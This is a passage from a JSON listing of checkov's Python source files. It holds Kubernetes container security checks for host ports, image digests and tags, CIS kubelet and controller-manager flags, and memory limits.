    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\nfrom checkov.kubernetes.checks.resource.k8s.k8s_check_utils import extract_commands\n\n\nclass EtcdPeerFiles(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.6\n        id = \"CKV_K8S_119\"\n        name = \"Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        keys, values = extract_commands(conf)\n\n        if \"etcd\" in keys:\n            if \"--peer-cert-file\" not in keys or \"--peer-key-file\" not in keys:\n                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = EtcdPeerFiles()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/HostPort.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass HostPort(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        https://kubernetes.io/docs/concepts/configuration/overview/\n\n        Don't specify a hostPort for a Pod unless it is absolutely necessary.\n        When you bind a Pod to a hostPort, it limits the number of places the\n        Pod can be scheduled, because each <hostIP, hostPort, protocol> combination\n        must be unique.\n        \"\"\"\n        name = \"Do not specify hostPort unless absolutely necessary\"\n        id = \"CKV_K8S_26\"\n        # Location: container .ports[].hostPort\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        if conf.get(\"ports\"):\n            for idx, port in enumerate(conf[\"ports\"]):\n                if \"hostPort\" in port:\n                    self.evaluated_container_keys = [f\"ports/[{idx}]/hostPort\"]\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = HostPort()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ImageDigest.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ImageDigest(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        The image specification should use a digest instead of a tag to make sure the container always uses the same\n        version of the image.\n        https://kubernetes.io/docs/concepts/configuration/overview/#container-images\n\n        An admission controller could be used to enforce the use of image digest\n        \"\"\"\n        name = \"Image should use digest\"\n        id = \"CKV_K8S_43\"\n        # Location: container .image\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"image\"]\n        if \"image\" in conf:\n\n            # The @ indicates there is a digest. It's technically possible to use a tag as well, but it doesn't make\n            # a difference. So, this @ is all we need to pass the check.\n            image_conf = conf[\"image\"]\n            if isinstance(image_conf, str):\n                has_digest = \"@\" in image_conf\n                return CheckResult.PASSED if has_digest else CheckResult.FAILED\n        return CheckResult.FAILED\n\n\ncheck = ImageDigest()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py",
    "content": "import re\nfrom typing import Any, Dict\n\nfrom checkov.common.models.consts import DOCKER_IMAGE_REGEX\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ImagePullPolicyAlways(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        Image pull policy should be set to always to ensure you get the correct image and imagePullSecrets are correct\n        Default is 'IfNotPresent' unless image tag is omitted or :latest\n        https://kubernetes.io/docs/concepts/configuration/overview/#container-images\n\n        An admission controller could be used to enforce imagePullPolicy\n        \"\"\"\n        name = \"Image Pull Policy should be Always\"\n        id = \"CKV_K8S_15\"\n        # Location: container .imagePullPolicy\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"image\", \"imagePullPolicy\"]\n        if conf.get(\"image\"):\n            # Remove the digest, if present\n            image_val = conf[\"image\"]\n            if not isinstance(image_val, str) or image_val.strip() == \"\":\n                return CheckResult.UNKNOWN\n            if \"@\" in image_val:\n                image_val = image_val[0 : image_val.index(\"@\")]\n                has_digest = True\n            else:\n                has_digest = False\n            if \"imagePullPolicy\" not in conf:\n                image_tag_match = re.findall(DOCKER_IMAGE_REGEX, image_val)\n                if len(image_tag_match) != 1:\n                    # If image name is invalid, check result can not be determined\n                    return CheckResult.UNKNOWN\n                (image, tag) = image_tag_match[0]\n                if tag == \"latest\" or tag == \"\":\n                    # Default imagePullPolicy = Always\n                    return CheckResult.PASSED\n                elif has_digest:\n                    return CheckResult.PASSED\n                else:\n                    # Default imagePullPolicy = IfNotPresent\n                    return CheckResult.FAILED\n            else:\n                if not has_digest and conf[\"imagePullPolicy\"] != \"Always\":\n                    return CheckResult.FAILED\n\n        else:\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = ImagePullPolicyAlways()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py",
    "content": "import re\nfrom typing import Any, Dict\n\nfrom checkov.common.models.consts import DOCKER_IMAGE_REGEX\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ImageTagFixed(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        You should avoid using the :latest tag when deploying containers in production\n        as it is harder to track which version of the image is running\n        and more difficult to roll back properly.\n        \"\"\"\n        name = \"Image Tag should be fixed - not latest or blank\"\n        id = \"CKV_K8S_14\"\n        # Location: container .image\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"image\"]\n        if conf.get(\"image\"):\n\n            image_val = conf[\"image\"]\n            if not isinstance(image_val, str) or image_val.strip() == \"\":\n                return CheckResult.UNKNOWN\n\n            # If there's a digest, then this is even better than the tag, so the check passes\n            if \"@\" in image_val:\n                return CheckResult.PASSED\n\n            re_result = re.findall(DOCKER_IMAGE_REGEX, image_val)\n            if not re_result:\n                return CheckResult.UNKNOWN\n            (image, tag) = re_result[0]\n            if tag == \"latest\" or tag == \"\":\n                return CheckResult.FAILED\n        else:\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = ImageTagFixed()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass KubeControllerManagerBlockProfiles(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_107\"\n        name = \"Ensure that the --profiling argument is set to false\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-controller-manager\" in conf[\"command\"]:\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--profiling\"):\n                        value = command.split(\"=\")[1]\n                        if value == \"false\":\n                            return CheckResult.PASSED\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = KubeControllerManagerBlockProfiles()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass KubeControllerManagerRootCAFile(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_111\"\n        name = \"Ensure that the --root-ca-file argument is set as appropriate\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-controller-manager\" in conf[\"command\"]:\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--root-ca-file\"):\n                        file_name = command.split(\"=\")[1]\n                        extension = file_name.split(\".\")[1]\n                        if extension == \"pem\":\n                            return CheckResult.PASSED\n                        else:\n                            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = KubeControllerManagerRootCAFile()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass KubeControllerManagerServiceAccountCredentials(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_108\"\n        name = \"Ensure that the --use-service-account-credentials argument is set to true\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-controller-manager\" in conf[\"command\"]:\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--use-service-account-credentials\"):\n                        value = command.split(\"=\")[1]\n                        if value == \"true\":\n                            return CheckResult.PASSED\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = KubeControllerManagerServiceAccountCredentials()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass KubeControllerManagerServiceAccountPrivateKeyFile(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_110\"\n        name = \"Ensure that the --service-account-private-key-file argument is set as appropriate\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-controller-manager\" in conf[\"command\"]:\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--service-account-private-key-file\"):\n                        file_name = command.split(\"=\")[1]\n                        extension = file_name.split(\".\")[1]\n                        if extension == \"pem\":\n                            return CheckResult.PASSED\n                        else:\n                            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = KubeControllerManagerServiceAccountPrivateKeyFile()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass KubeControllerManagerTerminatedPods(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_106\"\n        name = \"Ensure that the --terminated-pod-gc-threshold argument is set as appropriate\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-controller-manager\" in conf[\"command\"]:\n                for command in conf[\"command\"]:\n                    if command == \"--terminated-pod-gc-threshold\":\n                        return CheckResult.PASSED\n                    if command.startswith(\"--terminated-pod-gc-threshold\"):\n                        threshold = command.split(\"=\")[1]\n                        if int(threshold) > 0:\n                            return CheckResult.PASSED\n                        else:\n                            return CheckResult.FAILED\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = KubeControllerManagerTerminatedPods()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass KubeletAnonymousAuth(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.6 4.2.1\n        id = \"CKV_K8S_138\"\n        name = \"Ensure that the --anonymous-auth argument is set to false\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kubelet\" in conf[\"command\"]:\n                if \"--anonymous-auth=true\" in conf[\"command\"] or \"--anonymous-auth=false\" not in conf[\"command\"]:\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = KubeletAnonymousAuth()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass KubeletAuthorizationModeNotAlwaysAllow(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.6 4.2.\n        id = \"CKV_K8S_139\"\n        name = \"Ensure that the --authorization-mode argument is not set to AlwaysAllow\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kubelet\" in conf[\"command\"]:\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--authorization-mode\"):\n                        modes = command.split(\"=\")[1]\n                        if \"AlwaysAllow\" in modes.split(\",\"):\n                            return CheckResult.FAILED\n                        break\n\n        return CheckResult.PASSED\n\n\ncheck = KubeletAuthorizationModeNotAlwaysAllow()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass KubeletClientCa(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.6 4.2.3\n        id = \"CKV_K8S_140\"\n        name = \"Ensure that the --client-ca-file argument is set as appropriate\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kubelet\" in conf[\"command\"]:\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--client-ca-file\"):\n                        if len(command.split(\"=\")) == 2:\n                            if (command.split(\"=\")[1]).strip() != '':\n                                return CheckResult.PASSED\n                        return CheckResult.FAILED\n                return CheckResult.FAILED\n\n        return CheckResult.UNKNOWN\n\n\ncheck = KubeletClientCa()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\nstrongCiphers = (\n    \"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256\",\n    \"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\",\n    \"TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305\",\n    \"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\",\n    \"TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305\",\n    \"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384\",\n    \"TLS_RSA_WITH_AES_256_GCM_SHA384\",\n    \"TLS_RSA_WITH_AES_128_GCM_SHA256\",\n)\n\n\nclass KubeletCryptographicCiphers(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.6 4.2.13\n        id = \"CKV_K8S_151\"\n        name = \"Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kubelet\" in conf[\"command\"]:\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--tls-cipher-suites\"):\n                        value = command.split(\"=\")[1]\n                        ciphers = value.split(\",\")\n                        for cipher in ciphers:\n                            if cipher not in strongCiphers:\n                                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = KubeletCryptographicCiphers()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass KubeletHostnameOverride(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.6 4.2.8\n        id = \"CKV_K8S_146\"\n        name = \"Ensure that the --hostname-override argument is not set\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kubelet\" in conf[\"command\"]:\n                if \"--hostname-override\" in [arg.split(\"=\")[0] for arg in conf[\"command\"]]:\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = KubeletHostnameOverride()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass KubeletKeyFilesSetAppropriate(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.6 4.2.10\n        id = \"CKV_K8S_148\"\n        name = \"Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kubelet\" in conf[\"command\"]:\n                hasTLSCert = False\n                hasTLSKey = False\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--tls-cert-file\"):\n                        hasTLSCert = True\n                    elif command.startswith(\"--tls-private-key-file\"):\n                        hasTLSKey = True\n                return CheckResult.PASSED if hasTLSCert and hasTLSKey else CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = KubeletKeyFilesSetAppropriate()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass KubeletMakeIptablesUtilChains(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.6 4.2.7\n        id = \"CKV_K8S_145\"\n        name = \"Ensure that the --make-iptables-util-chains argument is set to true\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kubelet\" in conf[\"command\"]:\n                if \"--make-iptables-util-chains=true\" not in conf[\"command\"]:\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = KubeletMakeIptablesUtilChains()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass KubeletProtectKernelDefaults(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.6 4.2.6\n        id = \"CKV_K8S_144\"\n        name = \"Ensure that the --protect-kernel-defaults argument is set to true\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kubelet\" in conf[\"command\"]:\n                if \"--protect-kernel-defaults=true\" not in conf[\"command\"]:\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = KubeletProtectKernelDefaults()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\nfrom checkov.kubernetes.checks.resource.k8s.k8s_check_utils import extract_commands\n\n\nclass KubeletReadOnlyPort(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.6 4.2.4\n        id = \"CKV_K8S_141\"\n        name = \"Ensure that the --read-only-port argument is set to 0\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        keys, values = extract_commands(conf)\n\n        if \"kubelet\" in keys:\n            if \"--read-only-port\" in keys and values[keys.index(\"--read-only-port\")] == \"0\":\n                return CheckResult.PASSED\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = KubeletReadOnlyPort()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass KubeletStreamingConnectionIdleTimeout(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.6 4.2.5\n        id = \"CKV_K8S_143\"\n        name = \"Ensure that the --streaming-connection-idle-timeout argument is not set to 0\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kubelet\" in conf[\"command\"]:\n                if \"--streaming-connection-idle-timeout=0\" in conf[\"command\"]:\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = KubeletStreamingConnectionIdleTimeout()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass KubernetesDashboard(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        name = \"Ensure the Kubernetes dashboard is not deployed\"\n        id = \"CKV_K8S_33\"\n        # Location: container .image\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"image\"]\n        if conf.get(\"image\"):\n            conf_image = conf[\"image\"]\n            if not isinstance(conf_image, str):\n                return CheckResult.FAILED\n            if \"kubernetes-dashboard\" in conf_image or \"kubernetesui\" in conf_image:\n                return CheckResult.FAILED\n        if metadata and metadata.get(\"labels\"):\n            if \"app\" in metadata[\"labels\"]:\n                if metadata[\"labels\"][\"app\"] == \"kubernetes-dashboard\":\n                    return CheckResult.FAILED\n            elif \"k8s-app\" in metadata[\"labels\"]:\n                if metadata[\"labels\"][\"k8s-app\"] == \"kubernetes-dashboard\":\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = KubernetesDashboard()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass KubletEventCapture(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.6 4.2.9\n        id = \"CKV_K8S_147\"\n        name = \"Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kubelet\" in conf[\"command\"]:\n                for cmd in conf[\"command\"]:\n                    if \"=\" in cmd:\n                        [key, value, *_] = cmd.split(\"=\")\n                        if key == \"--event-qps\":\n                            if int(value) > 5:\n                                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = KubletEventCapture()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass KubletRotateCertificates(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.6 4.2.11\n        id = \"CKV_K8S_149\"\n        name = \"Ensure that the --rotate-certificates argument is not set to false\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kubelet\" in conf[\"command\"]:\n                if \"--rotate-certificates=false\" in conf[\"command\"]:\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = KubletRotateCertificates()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/LivenessProbe.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass LivenessProbe(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        name = \"Liveness Probe Should be Configured\"\n        id = \"CKV_K8S_8\"\n        # Location: container .livenessProbe\n        # Don't check Job/CronJob\n        supported_entities = [\n            entity for entity in BaseK8sContainerCheck.SUPPORTED_ENTITIES if entity not in (\"CronJob\", \"Job\")\n        ]\n        # initContainers do not need Liveness Probes...\n        supported_container_types = [\"containers\"]\n        super().__init__(\n            name=name, id=id, supported_entities=supported_entities, supported_container_types=supported_container_types\n        )\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"livenessProbe\"]\n        if conf.get(\"livenessProbe\"):\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = LivenessProbe()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/MemoryLimits.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass MemoryLimits(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        name = \"Memory limits should be set\"\n        id = \"CKV_K8S_13\"\n        # Location: container .resources.limits.memory\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"resources/limits/memory\"]\n        res = conf.get(\"resources\")\n        if res:\n            if not isinstance(res, dict):\n                return CheckResult.UNKNOWN\n            limits = res.get(\"limits\")\n            if limits and limits.get(\"memory\"):\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = MemoryLimits()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/MemoryRequests.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass MemoryRequests(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        name = \"Memory requests should be set\"\n        id = \"CKV_K8S_12\"\n        # Location: container .resources.requests.memory\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"resources/requests/memory\"]\n        res = conf.get(\"resources\")\n        if res:\n            if not isinstance(res, dict):\n                return CheckResult.UNKNOWN\n            requests = res.get(\"requests\")\n            if not isinstance(requests, dict):\n                return CheckResult.UNKNOWN\n            if requests and requests.get(\"memory\"):  # nosec  # false positive\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = MemoryRequests()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py",
